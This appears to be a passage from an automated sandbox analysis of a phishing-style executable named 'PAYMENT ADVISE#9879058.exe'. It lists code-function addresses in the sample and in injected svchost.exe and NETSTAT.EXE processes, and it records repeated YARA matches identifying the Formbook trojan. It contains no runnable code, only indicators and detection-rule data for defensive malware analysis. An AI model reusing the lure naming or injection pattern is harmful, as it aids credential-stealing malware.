Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00427859		0_2_00427859
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_0040F890		0_2_0040F890
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_0042397B		0_2_0042397B
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00411B63		0_2_00411B63
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00423EBF		0_2_00423EBF
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_03FAAE60		0_2_03FAAE60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00418A13		1_2_00418A13
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042F033		1_2_0042F033
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004010E0		1_2_004010E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041024D		1_2_0041024D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00410253		1_2_00410253
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004012D0		1_2_004012D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00416BE3		1_2_00416BE3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00410473		1_2_00410473
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004034D0		1_2_004034D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040E4F3		1_2_0040E4F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004027A0		1_2_004027A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037FA352		1_2_037FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038003E6		1_2_038003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0374E3F0		1_2_0374E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037E0274		1_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037C02C0		1_2_037C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037C8158		1_2_037C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038001AA		1_2_038001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DA118		1_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03730100		1_2_03730100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037F81CC		1_2_037F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037F41A2		1_2_037F41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037D2000		1_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03740770		1_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03764750		1_2_03764750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0373C7C0		1_2_0373C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0375C6E0		1_2_0375C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03800591		1_2_03800591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03740535		1_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037F2446		1_2_037F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037E4420		1_2_037E4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037EE4F6		1_2_037EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037FAB40		1_2_037FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037F6BD7		1_2_037F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0373EA80		1_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03756962		1_2_03756962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0380A9A6		1_2_0380A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037429A0		1_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0374A840		1_2_0374A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03742840		1_2_03742840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0376E8F0		1_2_0376E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037268B8		1_2_037268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B4F40		1_2_037B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03760F30		1_2_03760F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037E2F30		1_2_037E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03782F28		1_2_03782F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03732FC8		1_2_03732FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037BEFA0		1_2_037BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03740E59		1_2_03740E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037FEE26		1_2_037FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037FEEDB		1_2_037FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03752E90		1_2_03752E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037FCE93		1_2_037FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DCD1F		1_2_037DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0374AD00		1_2_0374AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0373ADE0		1_2_0373ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03758DBF		1_2_03758DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03740C00		1_2_03740C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03730CF2		1_2_03730CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037E0CB5		1_2_037E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0372D34C		1_2_0372D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037F132D		1_2_037F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0378739A		1_2_0378739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0375D2F0		1_2_0375D2F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037E12ED		1_2_037E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0375B2C0		1_2_0375B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037452A0		1_2_037452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0372F172		1_2_0372F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0377516C		1_2_0377516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0374B1B0		1_2_0374B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0380B16B		1_2_0380B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037F70E9		1_2_037F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037FF0E0		1_2_037FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037EF0CC		1_2_037EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037470C0		1_2_037470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037FF7B0		1_2_037FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037F16CC		1_2_037F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037F7571		1_2_037F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DD5B0		1_2_037DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03731460		1_2_03731460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037FF43F		1_2_037FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037FFB76		1_2_037FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B5BF0		1_2_037B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0377DBF9		1_2_0377DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0375FB80		1_2_0375FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B3A6C		1_2_037B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037FFA49		1_2_037FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037F7A46		1_2_037F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037EDAC6		1_2_037EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DDAAC		1_2_037DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03785AA0		1_2_03785AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037E1AA3		1_2_037E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03749950		1_2_03749950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0375B950		1_2_0375B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037D5910		1_2_037D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037AD800		1_2_037AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037438E0		1_2_037438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037FFF09		1_2_037FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03703FD2		1_2_03703FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03703FD5		1_2_03703FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037FFFB1		1_2_037FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03741F92		1_2_03741F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03749EB0		1_2_03749EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037F7D73		1_2_037F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037F1D5A		1_2_037F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03743D40		1_2_03743D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0375FDC0		1_2_0375FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B9C32		1_2_037B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037FFCF2		1_2_037FFCF2
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A203E6		6_2_03A203E6
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0396E3F0		6_2_0396E3F0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A1A352		6_2_03A1A352
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039E02C0		6_2_039E02C0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A00274		6_2_03A00274
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A141A2		6_2_03A141A2
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A201AA		6_2_03A201AA
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A181CC		6_2_03A181CC
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039FA118		6_2_039FA118
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03950100		6_2_03950100
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039E8158		6_2_039E8158
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039F2000		6_2_039F2000
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0395C7C0		6_2_0395C7C0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03984750		6_2_03984750
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03960770		6_2_03960770
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0397C6E0		6_2_0397C6E0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A20591		6_2_03A20591
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03960535		6_2_03960535
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A0E4F6		6_2_03A0E4F6
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A04420		6_2_03A04420
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A12446		6_2_03A12446
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A16BD7		6_2_03A16BD7
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A1AB40		6_2_03A1AB40
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0395EA80		6_2_0395EA80
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A2A9A6		6_2_03A2A9A6
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039629A0		6_2_039629A0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03976962		6_2_03976962
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039468B8		6_2_039468B8
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0398E8F0		6_2_0398E8F0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03962840		6_2_03962840
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0396A840		6_2_0396A840
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039DEFA0		6_2_039DEFA0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03952FC8		6_2_03952FC8
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A02F30		6_2_03A02F30
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03980F30		6_2_03980F30
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039A2F28		6_2_039A2F28
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039D4F40		6_2_039D4F40
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03972E90		6_2_03972E90
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A1CE93		6_2_03A1CE93
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A1EEDB		6_2_03A1EEDB
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A1EE26		6_2_03A1EE26
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03960E59		6_2_03960E59
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03978DBF		6_2_03978DBF
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0395ADE0		6_2_0395ADE0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039FCD1F		6_2_039FCD1F
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0396AD00		6_2_0396AD00
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A00CB5		6_2_03A00CB5
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03950CF2		6_2_03950CF2
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03960C00		6_2_03960C00
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039A739A		6_2_039A739A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A1132D		6_2_03A1132D
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0394D34C		6_2_0394D34C
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039652A0		6_2_039652A0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A012ED		6_2_03A012ED
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0397B2C0		6_2_0397B2C0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0397D2F0		6_2_0397D2F0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0396B1B0		6_2_0396B1B0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A2B16B		6_2_03A2B16B
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0394F172		6_2_0394F172
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0399516C		6_2_0399516C
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A1F0E0		6_2_03A1F0E0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A170E9		6_2_03A170E9
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039670C0		6_2_039670C0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A0F0CC		6_2_03A0F0CC
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A1F7B0		6_2_03A1F7B0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A116CC		6_2_03A116CC
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039A5630		6_2_039A5630
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039FD5B0		6_2_039FD5B0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A295C3		6_2_03A295C3
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A17571		6_2_03A17571
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A1F43F		6_2_03A1F43F
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03951460		6_2_03951460
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0397FB80		6_2_0397FB80
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0399DBF9		6_2_0399DBF9
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039D5BF0		6_2_039D5BF0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A1FB76		6_2_03A1FB76
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A01AA3		6_2_03A01AA3
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039FDAAC		6_2_039FDAAC
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039A5AA0		6_2_039A5AA0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A0DAC6		6_2_03A0DAC6
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A17A46		6_2_03A17A46
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A1FA49		6_2_03A1FA49
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039D3A6C		6_2_039D3A6C
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039F5910		6_2_039F5910
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03969950		6_2_03969950
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0397B950		6_2_0397B950
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039638E0		6_2_039638E0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039CD800		6_2_039CD800
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03961F92		6_2_03961F92
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A1FFB1		6_2_03A1FFB1
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03923FD2		6_2_03923FD2
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03923FD5		6_2_03923FD5
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A1FF09		6_2_03A1FF09
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03969EB0		6_2_03969EB0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0397FDC0		6_2_0397FDC0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A17D73		6_2_03A17D73
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03963D40		6_2_03963D40
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A11D5A		6_2_03A11D5A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03A1FCF2		6_2_03A1FCF2
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039D9C32		6_2_039D9C32
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_030F1C00		6_2_030F1C00
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_030ECB00		6_2_030ECB00
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_030ECAFA		6_2_030ECAFA
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_030ECD20		6_2_030ECD20
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_030EADA0		6_2_030EADA0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_030F52C0		6_2_030F52C0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_030F3490		6_2_030F3490
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0310B8E0		6_2_0310B8E0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0370E3F4		6_2_0370E3F4
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0370E2D8		6_2_0370E2D8
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0370D7F8		6_2_0370D7F8
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0370E78C		6_2_0370E78C
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0370E55B		6_2_0370E55B
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0370CA93		6_2_0370CA93

Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: String function: 039DF290 appears 103 times
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: String function: 03995130 appears 58 times
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: String function: 039CEA12 appears 86 times
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: String function: 039A7E54 appears 107 times
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: String function: 0394B970 appears 262 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03775130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03787E54 appears 99 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0372B970 appears 262 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 037BF290 appears 103 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 037AEA12 appears 86 times
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: String function: 00445975 appears 65 times
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: String function: 0041171A appears 37 times
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: String function: 0041718C appears 44 times
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: String function: 0040E6D0 appears 35 times

Source: PAYMENT ADVISE#9879058.exe, 00000000.00000003.1735268118.00000000048ED000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PAYMENT ADVISE#9879058.exe
Source: PAYMENT ADVISE#9879058.exe, 00000000.00000003.1736513404.0000000004743000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PAYMENT ADVISE#9879058.exe

Source: PAYMENT ADVISE#9879058.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.2959379992.00000000011A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.2342184824.0000000003A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.2958344133.00000000030E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.2959484035.00000000035B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.2959545540.0000000003600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.2341550139.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
